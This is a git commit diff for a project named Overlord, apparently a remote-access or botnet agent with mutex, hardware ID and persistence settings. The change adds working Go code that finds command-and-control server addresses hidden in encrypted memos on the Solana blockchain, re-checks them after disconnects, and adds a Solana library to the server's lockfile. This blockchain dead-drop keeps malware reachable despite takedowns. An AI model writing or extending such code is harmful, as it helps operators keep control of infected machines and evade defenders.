add solana support
This commit is contained in:
@@ -22,6 +22,9 @@ var AgentVersion = "1.6.8"
|
||||
var DefaultPersistence = "false"
|
||||
var DefaultServerURL = "wss://127.0.0.1:5173"
|
||||
var DefaultServerURLIsRaw = "false"
|
||||
var DefaultServerURLIsSol = "false"
|
||||
var DefaultSolAddress = ""
|
||||
var DefaultSolRPCEndpoints = ""
|
||||
var DefaultMutex = ""
|
||||
var DefaultID = ""
|
||||
var DefaultCountry = ""
|
||||
@@ -48,6 +51,9 @@ type Config struct {
|
||||
ServerURLs []string
|
||||
ServerIndex int
|
||||
RawServerListURL string
|
||||
SolEnabled bool
|
||||
SolAddress string
|
||||
SolRPCEndpoints []string
|
||||
Mutex string
|
||||
ID string
|
||||
HWID string
|
||||
@@ -80,9 +86,44 @@ func Load() Config {
|
||||
}
|
||||
rawServerEnabled := isTruthy(rawServerFlag)
|
||||
|
||||
solFlag := strings.TrimSpace(os.Getenv("OVERLORD_SERVER_SOL"))
|
||||
if solFlag == "" {
|
||||
solFlag = DefaultServerURLIsSol
|
||||
}
|
||||
solEnabled := isTruthy(solFlag)
|
||||
|
||||
solAddress := strings.TrimSpace(os.Getenv("OVERLORD_SOL_ADDRESS"))
|
||||
if solAddress == "" {
|
||||
solAddress = strings.TrimSpace(DefaultSolAddress)
|
||||
}
|
||||
|
||||
solRPCEndpointsStr := strings.TrimSpace(os.Getenv("OVERLORD_SOL_RPC_ENDPOINTS"))
|
||||
if solRPCEndpointsStr == "" {
|
||||
solRPCEndpointsStr = strings.TrimSpace(DefaultSolRPCEndpoints)
|
||||
}
|
||||
var solRPCEndpoints []string
|
||||
if solRPCEndpointsStr != "" {
|
||||
for _, ep := range strings.Split(solRPCEndpointsStr, ",") {
|
||||
ep = strings.TrimSpace(ep)
|
||||
if ep != "" {
|
||||
solRPCEndpoints = append(solRPCEndpoints, ep)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
serverURLs := []string{}
|
||||
rawServerListURL := ""
|
||||
if rawServerEnabled {
|
||||
if solEnabled && solAddress != "" && len(solRPCEndpoints) > 0 {
|
||||
agentToken := strings.TrimSpace(os.Getenv("OVERLORD_AGENT_TOKEN"))
|
||||
if agentToken == "" {
|
||||
agentToken = strings.TrimSpace(DefaultAgentToken)
|
||||
}
|
||||
if urls, err := LoadServerURLsFromSolana(solAddress, agentToken, solRPCEndpoints); err != nil {
|
||||
log.Printf("[config] WARNING: failed to load server URL from Solana memo: %v", err)
|
||||
} else {
|
||||
serverURLs = urls
|
||||
}
|
||||
} else if rawServerEnabled {
|
||||
rawServerListURL = server
|
||||
if rawServerListURL != "" {
|
||||
if urls, err := LoadServerURLsFromRaw(rawServerListURL); err != nil {
|
||||
@@ -152,6 +193,9 @@ func Load() Config {
|
||||
ServerURLs: serverURLs,
|
||||
ServerIndex: serverIndex,
|
||||
RawServerListURL: rawServerListURL,
|
||||
SolEnabled: solEnabled,
|
||||
SolAddress: solAddress,
|
||||
SolRPCEndpoints: solRPCEndpoints,
|
||||
Mutex: strings.TrimSpace(mutex),
|
||||
ID: defaultHWID,
|
||||
HWID: firstNonEmpty(fileSettings.HWID, defaultHWID),
|
||||
|
||||
@@ -0,0 +1,290 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const solanaMemoProgramID = "MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr"
|
||||
|
||||
type rpcRequest struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
ID int `json:"id"`
|
||||
Method string `json:"method"`
|
||||
Params []interface{} `json:"params"`
|
||||
}
|
||||
|
||||
type signatureInfo struct {
|
||||
Signature string `json:"signature"`
|
||||
Err interface{} `json:"err"`
|
||||
}
|
||||
|
||||
type signaturesResponse struct {
|
||||
Result []signatureInfo `json:"result"`
|
||||
Error *rpcError `json:"error"`
|
||||
}
|
||||
|
||||
type rpcError struct {
|
||||
Code json.Number `json:"code"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
type transactionResponse struct {
|
||||
Result *transactionResult `json:"result"`
|
||||
Error *rpcError `json:"error"`
|
||||
}
|
||||
|
||||
type transactionResult struct {
|
||||
Transaction parsedTransaction `json:"transaction"`
|
||||
}
|
||||
|
||||
type parsedTransaction struct {
|
||||
Message parsedMessage `json:"message"`
|
||||
}
|
||||
|
||||
type parsedMessage struct {
|
||||
Instructions []parsedInstruction `json:"instructions"`
|
||||
}
|
||||
|
||||
type parsedInstruction struct {
|
||||
ProgramId string `json:"programId"`
|
||||
Parsed interface{} `json:"parsed"`
|
||||
Program string `json:"program"`
|
||||
}
|
||||
|
||||
func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []string) ([]string, error) {
|
||||
if solAddress == "" {
|
||||
return nil, fmt.Errorf("solana address is empty")
|
||||
}
|
||||
if agentToken == "" {
|
||||
return nil, fmt.Errorf("agent token required for solana memo decryption")
|
||||
}
|
||||
if len(rpcEndpoints) == 0 {
|
||||
return nil, fmt.Errorf("no solana RPC endpoints configured")
|
||||
}
|
||||
|
||||
client := &http.Client{Timeout: 15 * time.Second}
|
||||
|
||||
keyHash := sha256.Sum256([]byte(agentToken))
|
||||
log.Printf("[solana] using key hash prefix: %x (token len=%d)", keyHash[:4], len(agentToken))
|
||||
|
||||
var signatures []signatureInfo
|
||||
var lastErr error
|
||||
for i, endpoint := range rpcEndpoints {
|
||||
if i > 0 {
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
}
|
||||
sigs, err := getSignatures(client, endpoint, solAddress)
|
||||
if err != nil {
|
||||
lastErr = err
|
||||
log.Printf("[solana] RPC %s failed for getSignatures: %v", endpoint, err)
|
||||
continue
|
||||
}
|
||||
signatures = sigs
|
||||
break
|
||||
}
|
||||
if signatures == nil {
|
||||
return nil, fmt.Errorf("all RPC endpoints failed for getSignatures: %v", lastErr)
|
||||
}
|
||||
|
||||
if len(signatures) == 0 {
|
||||
return nil, fmt.Errorf("no transactions found for address %s", solAddress)
|
||||
}
|
||||
|
||||
for _, sig := range signatures {
|
||||
if sig.Err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for j, endpoint := range rpcEndpoints {
|
||||
if j > 0 {
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
}
|
||||
memo, err := getMemoFromTransaction(client, endpoint, sig.Signature)
|
||||
if err != nil {
|
||||
log.Printf("[solana] RPC %s failed for tx %s: %v", endpoint, sig.Signature[:16], err)
|
||||
continue
|
||||
}
|
||||
if memo == "" {
|
||||
break
|
||||
}
|
||||
|
||||
decrypted, err := decryptMemo(memo, agentToken)
|
||||
if err != nil {
|
||||
log.Printf("[solana] failed to decrypt memo from tx %s: %v", sig.Signature[:16], err)
|
||||
break
|
||||
}
|
||||
|
||||
urls := parseMemoURLs(decrypted)
|
||||
if len(urls) > 0 {
|
||||
log.Printf("[solana] resolved %d server URL(s) from memo in tx %s", len(urls), sig.Signature[:16])
|
||||
return urls, nil
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("no valid decryptable memo found in recent transactions")
|
||||
}
|
||||
|
||||
func getSignatures(client *http.Client, endpoint, address string) ([]signatureInfo, error) {
|
||||
reqBody := rpcRequest{
|
||||
Jsonrpc: "2.0",
|
||||
ID: 1,
|
||||
Method: "getSignaturesForAddress",
|
||||
Params: []interface{}{
|
||||
address,
|
||||
map[string]interface{}{"limit": 10},
|
||||
},
|
||||
}
|
||||
|
||||
data, err := json.Marshal(reqBody)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
resp, err := client.Post(endpoint, "application/json", strings.NewReader(string(data)))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var result signaturesResponse
|
||||
if err := json.Unmarshal(body, &result); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse signatures response: %v", err)
|
||||
}
|
||||
|
||||
if result.Error != nil {
|
||||
return nil, fmt.Errorf("RPC error %s: %s", result.Error.Code.String(), result.Error.Message)
|
||||
}
|
||||
|
||||
return result.Result, nil
|
||||
}
|
||||
|
||||
func getMemoFromTransaction(client *http.Client, endpoint, signature string) (string, error) {
|
||||
reqBody := rpcRequest{
|
||||
Jsonrpc: "2.0",
|
||||
ID: 1,
|
||||
Method: "getTransaction",
|
||||
Params: []interface{}{
|
||||
signature,
|
||||
map[string]interface{}{
|
||||
"encoding": "jsonParsed",
|
||||
"maxSupportedTransactionVersion": 0,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
data, err := json.Marshal(reqBody)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
resp, err := client.Post(endpoint, "application/json", strings.NewReader(string(data)))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var result transactionResponse
|
||||
if err := json.Unmarshal(body, &result); err != nil {
|
||||
return "", fmt.Errorf("failed to parse transaction response: %v", err)
|
||||
}
|
||||
|
||||
if result.Error != nil {
|
||||
return "", fmt.Errorf("RPC error %s: %s", result.Error.Code.String(), result.Error.Message)
|
||||
}
|
||||
|
||||
if result.Result == nil {
|
||||
return "", fmt.Errorf("transaction not found")
|
||||
}
|
||||
|
||||
for _, inst := range result.Result.Transaction.Message.Instructions {
|
||||
if inst.ProgramId == solanaMemoProgramID {
|
||||
if s, ok := inst.Parsed.(string); ok && s != "" {
|
||||
return s, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func decryptMemo(memoBase64, agentToken string) (string, error) {
|
||||
raw, err := base64.StdEncoding.DecodeString(memoBase64)
|
||||
if err != nil {
|
||||
raw, err = base64.URLEncoding.DecodeString(memoBase64)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("invalid base64 memo: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if len(raw) < 12+16+1 {
|
||||
return "", fmt.Errorf("memo too short to be valid ciphertext")
|
||||
}
|
||||
|
||||
nonce := raw[:12]
|
||||
ciphertext := raw[12:]
|
||||
|
||||
keyHash := sha256.Sum256([]byte(agentToken))
|
||||
block, err := aes.NewCipher(keyHash[:])
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to create AES cipher: %v", err)
|
||||
}
|
||||
|
||||
aesGCM, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to create GCM: %v", err)
|
||||
}
|
||||
|
||||
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("decryption failed: %v", err)
|
||||
}
|
||||
|
||||
return string(plaintext), nil
|
||||
}
|
||||
|
||||
func parseMemoURLs(decrypted string) []string {
|
||||
var urls []string
|
||||
seen := map[string]struct{}{}
|
||||
for _, line := range strings.Split(decrypted, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
normalized, err := normalizeServerURL(line)
|
||||
if err != nil {
|
||||
log.Printf("[solana] invalid URL in memo: %q: %v", line, err)
|
||||
continue
|
||||
}
|
||||
if normalized == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := seen[normalized]; ok {
|
||||
continue
|
||||
}
|
||||
seen[normalized] = struct{}{}
|
||||
urls = append(urls, normalized)
|
||||
}
|
||||
return urls
|
||||
}
|
||||
@@ -74,6 +74,10 @@ func runClient(cfg config.Config) {
|
||||
consecutiveFailures := 0
|
||||
// idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections.
|
||||
allowTLSDowngrade := false
|
||||
var lastDisconnect time.Time
|
||||
var lastSolRefresh time.Time
|
||||
solInitialWait := 2 * time.Minute
|
||||
solRefreshInterval := 2*time.Minute + time.Duration(rand.Intn(60))*time.Second
|
||||
|
||||
for {
|
||||
|
||||
@@ -97,9 +101,13 @@ func runClient(cfg config.Config) {
|
||||
if err != nil {
|
||||
log.Printf("dial failed: %v (retrying in %s)", err, backoff)
|
||||
consecutiveFailures++
|
||||
if lastDisconnect.IsZero() {
|
||||
lastDisconnect = time.Now()
|
||||
}
|
||||
|
||||
if shouldRefreshRawList(cfg, consecutiveFailures) {
|
||||
if refreshServerURLsFromRaw(&cfg) {
|
||||
if shouldRefreshServerList(cfg, consecutiveFailures, lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
|
||||
if refreshServerList(&cfg) {
|
||||
lastSolRefresh = time.Now()
|
||||
currentIndex = 0
|
||||
consecutiveFailures = 0
|
||||
}
|
||||
@@ -123,6 +131,7 @@ func runClient(cfg config.Config) {
|
||||
|
||||
backoff = baseBackoff
|
||||
consecutiveFailures = 0
|
||||
lastDisconnect = time.Time{} // reset — we're connected
|
||||
log.Printf("connected successfully to %s%s", currentServer, serverInfo)
|
||||
|
||||
conn.SetReadLimit(8 * 1024 * 1024)
|
||||
@@ -137,9 +146,11 @@ func runClient(cfg config.Config) {
|
||||
allowTLSDowngrade = false
|
||||
}
|
||||
log.Printf("session ended: %v (retrying in %s)", err, backoff)
|
||||
lastDisconnect = time.Now()
|
||||
|
||||
if shouldRefreshRawList(cfg, len(cfg.ServerURLs)) {
|
||||
if refreshServerURLsFromRaw(&cfg) {
|
||||
if shouldRefreshServerList(cfg, len(cfg.ServerURLs), lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
|
||||
if refreshServerList(&cfg) {
|
||||
lastSolRefresh = time.Now()
|
||||
currentIndex = 0
|
||||
consecutiveFailures = 0
|
||||
}
|
||||
@@ -184,6 +195,18 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
|
||||
return
|
||||
}
|
||||
|
||||
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
|
||||
log.Printf("No server URLs configured. Resolving from Solana memo (address: %s)", cfg.SolAddress)
|
||||
for len(cfg.ServerURLs) == 0 {
|
||||
if refreshServerURLsFromSolana(cfg) {
|
||||
return
|
||||
}
|
||||
log.Printf("Retrying Solana memo lookup in %s", backoff)
|
||||
time.Sleep(backoff)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if cfg.RawServerListURL == "" {
|
||||
log.Printf("[config] WARNING: no server URLs configured; falling back to default %s", config.DefaultServerURL)
|
||||
cfg.ServerURLs = []string{config.DefaultServerURL}
|
||||
@@ -210,6 +233,47 @@ func shouldRefreshRawList(cfg config.Config, failures int) bool {
|
||||
return failures >= len(cfg.ServerURLs)
|
||||
}
|
||||
|
||||
func shouldRefreshServerList(cfg config.Config, failures int, lastDisconnect, lastSolRefresh time.Time, solInitialWait, solRefreshInterval time.Duration) bool {
|
||||
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
|
||||
if lastDisconnect.IsZero() {
|
||||
return false // still connected, never refresh
|
||||
}
|
||||
sinceDisconnect := time.Since(lastDisconnect)
|
||||
if sinceDisconnect < solInitialWait {
|
||||
return false // wait 2 min after disconnect before first check
|
||||
}
|
||||
if !lastSolRefresh.IsZero() && time.Since(lastSolRefresh) < solRefreshInterval {
|
||||
return false // not yet time for next periodic check
|
||||
}
|
||||
return true
|
||||
}
|
||||
return shouldRefreshRawList(cfg, failures)
|
||||
}
|
||||
|
||||
func refreshServerList(cfg *config.Config) bool {
|
||||
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
|
||||
return refreshServerURLsFromSolana(cfg)
|
||||
}
|
||||
return refreshServerURLsFromRaw(cfg)
|
||||
}
|
||||
|
||||
func refreshServerURLsFromSolana(cfg *config.Config) bool {
|
||||
urls, err := config.LoadServerURLsFromSolana(cfg.SolAddress, cfg.AgentToken, cfg.SolRPCEndpoints)
|
||||
if err != nil {
|
||||
log.Printf("[config] WARNING: failed to resolve server URLs from Solana: %v", err)
|
||||
return false
|
||||
}
|
||||
if len(urls) == 0 {
|
||||
log.Printf("[config] WARNING: Solana memo returned no valid URLs")
|
||||
return false
|
||||
}
|
||||
if !equalStringSlices(cfg.ServerURLs, urls) {
|
||||
log.Printf("[config] resolved server URLs from Solana memo (%d servers)", len(urls))
|
||||
cfg.ServerURLs = urls
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func refreshServerURLsFromRaw(cfg *config.Config) bool {
|
||||
urls, err := config.LoadServerURLsFromRaw(cfg.RawServerListURL)
|
||||
if err != nil {
|
||||
|
||||
+104
-1
@@ -6,6 +6,7 @@
|
||||
"name": "overlord-server",
|
||||
"dependencies": {
|
||||
"@msgpack/msgpack": "^3.0.0",
|
||||
"@solana/web3.js": "^1.98.4",
|
||||
"adm-zip": "^0.5.12",
|
||||
"flag-icons": "latest",
|
||||
"geoip-lite": "latest",
|
||||
@@ -28,6 +29,8 @@
|
||||
},
|
||||
},
|
||||
"packages": {
|
||||
"@babel/runtime": ["@babel/runtime@7.29.2", "", {}, "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g=="],
|
||||
|
||||
"@colors/colors": ["@colors/colors@1.6.0", "", {}, "sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA=="],
|
||||
|
||||
"@dabh/diagnostics": ["@dabh/diagnostics@2.0.8", "", { "dependencies": { "@so-ric/colorspace": "^1.1.6", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q=="],
|
||||
@@ -96,6 +99,10 @@
|
||||
|
||||
"@msgpack/msgpack": ["@msgpack/msgpack@3.1.3", "", {}, "sha512-47XIizs9XZXvuJgoaJUIE2lFoID8ugvc0jzSHP+Ptfk8nTbnR8g788wv48N03Kx0UkAv559HWRQ3yzOgzlRNUA=="],
|
||||
|
||||
"@noble/curves": ["@noble/curves@1.9.7", "", { "dependencies": { "@noble/hashes": "1.8.0" } }, "sha512-gbKGcRUYIjA3/zCCNaWDciTMFI0dCkvou3TL8Zmy5Nc7sJ47a0jtOeZoTaMxkuqRo9cRhjOdZJXegxYE5FN/xw=="],
|
||||
|
||||
"@noble/hashes": ["@noble/hashes@1.8.0", "", {}, "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A=="],
|
||||
|
||||
"@parcel/watcher": ["@parcel/watcher@2.5.6", "", { "dependencies": { "detect-libc": "^2.0.3", "is-glob": "^4.0.3", "node-addon-api": "^7.0.0", "picomatch": "^4.0.3" }, "optionalDependencies": { "@parcel/watcher-android-arm64": "2.5.6", "@parcel/watcher-darwin-arm64": "2.5.6", "@parcel/watcher-darwin-x64": "2.5.6", "@parcel/watcher-freebsd-x64": "2.5.6", "@parcel/watcher-linux-arm-glibc": "2.5.6", "@parcel/watcher-linux-arm-musl": "2.5.6", "@parcel/watcher-linux-arm64-glibc": "2.5.6", "@parcel/watcher-linux-arm64-musl": "2.5.6", "@parcel/watcher-linux-x64-glibc": "2.5.6", "@parcel/watcher-linux-x64-musl": "2.5.6", "@parcel/watcher-win32-arm64": "2.5.6", "@parcel/watcher-win32-ia32": "2.5.6", "@parcel/watcher-win32-x64": "2.5.6" } }, "sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ=="],
|
||||
|
||||
"@parcel/watcher-android-arm64": ["@parcel/watcher-android-arm64@2.5.6", "", { "os": "android", "cpu": "arm64" }, "sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A=="],
|
||||
@@ -126,6 +133,18 @@
|
||||
|
||||
"@so-ric/colorspace": ["@so-ric/colorspace@1.1.6", "", { "dependencies": { "color": "^5.0.2", "text-hex": "1.0.x" } }, "sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw=="],
|
||||
|
||||
"@solana/buffer-layout": ["@solana/buffer-layout@4.0.1", "", { "dependencies": { "buffer": "~6.0.3" } }, "sha512-E1ImOIAD1tBZFRdjeM4/pzTiTApC0AOBGwyAMS4fwIodCWArzJ3DWdoh8cKxeFM2fElkxBh2Aqts1BPC373rHA=="],
|
||||
|
||||
"@solana/codecs-core": ["@solana/codecs-core@2.3.0", "", { "dependencies": { "@solana/errors": "2.3.0" }, "peerDependencies": { "typescript": ">=5.3.3" } }, "sha512-oG+VZzN6YhBHIoSKgS5ESM9VIGzhWjEHEGNPSibiDTxFhsFWxNaz8LbMDPjBUE69r9wmdGLkrQ+wVPbnJcZPvw=="],
|
||||
|
||||
"@solana/codecs-numbers": ["@solana/codecs-numbers@2.3.0", "", { "dependencies": { "@solana/codecs-core": "2.3.0", "@solana/errors": "2.3.0" }, "peerDependencies": { "typescript": ">=5.3.3" } }, "sha512-jFvvwKJKffvG7Iz9dmN51OGB7JBcy2CJ6Xf3NqD/VP90xak66m/Lg48T01u5IQ/hc15mChVHiBm+HHuOFDUrQg=="],
|
||||
|
||||
"@solana/errors": ["@solana/errors@2.3.0", "", { "dependencies": { "chalk": "^5.4.1", "commander": "^14.0.0" }, "peerDependencies": { "typescript": ">=5.3.3" }, "bin": { "errors": "bin/cli.mjs" } }, "sha512-66RI9MAbwYV0UtP7kGcTBVLxJgUxoZGm8Fbc0ah+lGiAw17Gugco6+9GrJCV83VyF2mDWyYnYM9qdI3yjgpnaQ=="],
|
||||
|
||||
"@solana/web3.js": ["@solana/web3.js@1.98.4", "", { "dependencies": { "@babel/runtime": "^7.25.0", "@noble/curves": "^1.4.2", "@noble/hashes": "^1.4.0", "@solana/buffer-layout": "^4.0.1", "@solana/codecs-numbers": "^2.1.0", "agentkeepalive": "^4.5.0", "bn.js": "^5.2.1", "borsh": "^0.7.0", "bs58": "^4.0.1", "buffer": "6.0.3", "fast-stable-stringify": "^1.0.0", "jayson": "^4.1.1", "node-fetch": "^2.7.0", "rpc-websockets": "^9.0.2", "superstruct": "^2.0.2" } }, "sha512-vv9lfnvjUsRiq//+j5pBdXig0IQdtzA0BRZ3bXEP4KaIyF1CcaydWqgyzQgfZMNIsWNWmG+AUHwPy4AHOD6gpw=="],
|
||||
|
||||
"@swc/helpers": ["@swc/helpers@0.5.21", "", { "dependencies": { "tslib": "^2.8.0" } }, "sha512-jI/VAmtdjB/RnI8GTnokyX7Ug8c+g+ffD6QRLa6XQewtnGyukKkKSk3wLTM3b5cjt1jNh9x0jfVlagdN2gDKQg=="],
|
||||
|
||||
"@tailwindcss/cli": ["@tailwindcss/cli@4.2.2", "", { "dependencies": { "@parcel/watcher": "^2.5.1", "@tailwindcss/node": "4.2.2", "@tailwindcss/oxide": "4.2.2", "enhanced-resolve": "^5.19.0", "mri": "^1.2.0", "picocolors": "^1.1.1", "tailwindcss": "4.2.2" }, "bin": { "tailwindcss": "dist/index.mjs" } }, "sha512-iJS+8kAFZ8HPqnh0O5DHCLjo4L6dD97DBQEkrhfSO4V96xeefUus2jqsBs1dUMt3OU9Ks4qIkiY0mpL5UW+4LQ=="],
|
||||
|
||||
"@tailwindcss/node": ["@tailwindcss/node@4.2.2", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.19.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.2.2" } }, "sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA=="],
|
||||
@@ -158,6 +177,8 @@
|
||||
|
||||
"@types/bun": ["@types/bun@1.3.11", "", { "dependencies": { "bun-types": "1.3.11" } }, "sha512-5vPne5QvtpjGpsGYXiFyycfpDF2ECyPcTSsFBMa0fraoxiQyMJ3SmuQIGhzPg2WJuWxVBoxWJ2kClYTcw/4fAg=="],
|
||||
|
||||
"@types/connect": ["@types/connect@3.4.38", "", { "dependencies": { "@types/node": "*" } }, "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug=="],
|
||||
|
||||
"@types/geoip-lite": ["@types/geoip-lite@1.4.4", "", {}, "sha512-2uVfn+C6bX/H356H6mjxsWUA5u8LO8dJgSBIRO/NFlpMe4DESzacutD/rKYrTDKm1Ugv78b4Wz1KvpHrlv3jSw=="],
|
||||
|
||||
"@types/node": ["@types/node@25.5.0", "", { "dependencies": { "undici-types": "~7.18.0" } }, "sha512-jp2P3tQMSxWugkCUKLRPVUpGaL5MVFwF8RDuSRztfwgN1wmqJeMSbKlnEtQqU8UrhTmzEmZdu2I6v2dpp7XIxw=="],
|
||||
@@ -166,10 +187,14 @@
|
||||
|
||||
"@types/uuid": ["@types/uuid@9.0.8", "", {}, "sha512-jg+97EGIcY9AGHJJRaaPVgetKDsrTgbRjQ5Msgjh/DQKEFl0DtyRr/VCOyD1T2R1MNeWPK/u7JoGhlDZnKBAfA=="],
|
||||
|
||||
"@types/ws": ["@types/ws@7.4.7", "", { "dependencies": { "@types/node": "*" } }, "sha512-JQbbmxZTZehdc2iszGKs5oC3NFnjeay7mtAWrdt7qNtAVK0g19muApzAy4bm9byz79xa2ZnO/BOBC2R8RC5Lww=="],
|
||||
|
||||
"adm-zip": ["adm-zip@0.5.16", "", {}, "sha512-TGw5yVi4saajsSEgz25grObGHEUaDrniwvA2qwSC060KfqGPdglhvPMA2lPIoxs3PQIItj2iag35fONcQqgUaQ=="],
|
||||
|
||||
"agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="],
|
||||
|
||||
"agentkeepalive": ["agentkeepalive@4.6.0", "", { "dependencies": { "humanize-ms": "^1.2.1" } }, "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ=="],
|
||||
|
||||
"ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="],
|
||||
|
||||
"asn1.js": ["asn1.js@5.4.1", "", { "dependencies": { "bn.js": "^4.0.0", "inherits": "^2.0.1", "minimalistic-assert": "^1.0.0", "safer-buffer": "^2.1.0" } }, "sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA=="],
|
||||
@@ -178,16 +203,28 @@
|
||||
|
||||
"autoprefixer": ["autoprefixer@10.4.27", "", { "dependencies": { "browserslist": "^4.28.1", "caniuse-lite": "^1.0.30001774", "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": { "autoprefixer": "bin/autoprefixer" } }, "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA=="],
|
||||
|
||||
"base-x": ["base-x@3.0.11", "", { "dependencies": { "safe-buffer": "^5.0.1" } }, "sha512-xz7wQ8xDhdyP7tQxwdteLYeFfS68tSMNCZ/Y37WJ4bhGfKPpqEIlmIyueQHqOyoPhE6xNUqjzRr8ra0eF9VRvA=="],
|
||||
|
||||
"base64-js": ["base64-js@1.5.1", "", {}, "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="],
|
||||
|
||||
"baseline-browser-mapping": ["baseline-browser-mapping@2.10.9", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-OZd0e2mU11ClX8+IdXe3r0dbqMEznRiT4TfbhYIbcRPZkqJ7Qwer8ij3GZAmLsRKa+II9V1v5czCkvmHH3XZBg=="],
|
||||
|
||||
"bn.js": ["bn.js@4.12.3", "", {}, "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g=="],
|
||||
"bn.js": ["bn.js@5.2.3", "", {}, "sha512-EAcmnPkxpntVL+DS7bO1zhcZNvCkxqtkd0ZY53h06GNQ3DEkkGZ/gKgmDv6DdZQGj9BgfSPKtJJ7Dp1GPP8f7w=="],
|
